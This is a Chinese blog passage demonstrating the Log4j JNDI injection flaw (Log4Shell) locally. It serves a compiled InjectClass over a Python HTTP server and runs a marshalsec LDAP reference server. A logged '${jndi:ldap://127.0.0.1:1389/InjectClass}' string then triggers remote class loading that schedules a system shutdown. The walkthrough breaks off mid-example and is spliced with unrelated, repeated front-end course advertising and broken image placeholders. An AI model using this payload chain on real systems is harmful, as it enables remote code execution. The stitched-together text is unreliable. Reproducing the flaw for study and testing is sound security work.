Log4j 漏洞测试

}

}

3、对上面的类执行 javac 编译，然后启动一个http 服务器，能通过服务器访问到编译后的 class 文件

示例: 使用python，我编译后的class文件在F:\log4j2-test\src\main\java目录下。在 cmd窗口运行以下命令

python -m http.server 9011 -d F:\log4j2-test\src\main\java

如果成功，浏览器访问 http://127.0.0.1:9011/InjectClass.class 就能下载到class文件。

4、新打开一个 cmd 窗口启动第一步打包好的jar包。

参照命令:

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer # []

示例: 启动 LDAPSERVER

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://127.0.0.1:9011/#InjectClass”

启动成功后: 控制台会输出监听的端口为：1389

所需的步骤全部做完了，接下来开始测试

1、运行本地待测试的项目。使用 log4j 打印日志

import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.Logger;

/**

• @author rxf113

*/

public class Start {

private static final Logger logger = LogManager.getLogger(Start.class);

public static void main(String[] args) {

System.setProperty(“com.sun.jndi.ldap.object.trustURLCodebase”,“true”);

logger.error(“${jndi:ldap://127.0.0.1:1389/InjectClass}”);

}

}

运行成功后可以看到，定时关机命令已被执行，十分危险。shutdown -a 取消定时关机

2、再试试 logback 的方式

//import org.apache.logging.log4j.LogManager;

//import org.apache.logging.log4j.Logger;

import org.slf4j.Logger;

import org.slf4j.LoggerFactory;

/**

• @author rxf113

*/

public class Start {

// private static final Logger logger = LogManager.getLogger(Start.class);
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数前端工程师，想要提升技能，往往是自己摸索成长或者是报班学习，但对于培训机构动则几千的学费，着实压力不小。自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年Web前端开发全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友，同时减轻大家的负担。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上前端开发知识点，真正体系化！

由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！

如果你觉得这些内容对你有帮助，可以扫码获取！！（备注：前端）

最后

资料过多，篇幅有限，需要文中全部资料可以点击这里获取前端面试资料PDF完整版！

自古成功在尝试。不尝试永远都不会成功。勇敢的尝试是成功的一半。

64934690)]

[外链图片转存中…(img-l4JiRPXK-1712464934690)]

资料过多，篇幅有限，需要文中全部资料可以点击这里获取前端面试资料PDF完整版！

自古成功在尝试。不尝试永远都不会成功。勇敢的尝试是成功的一半。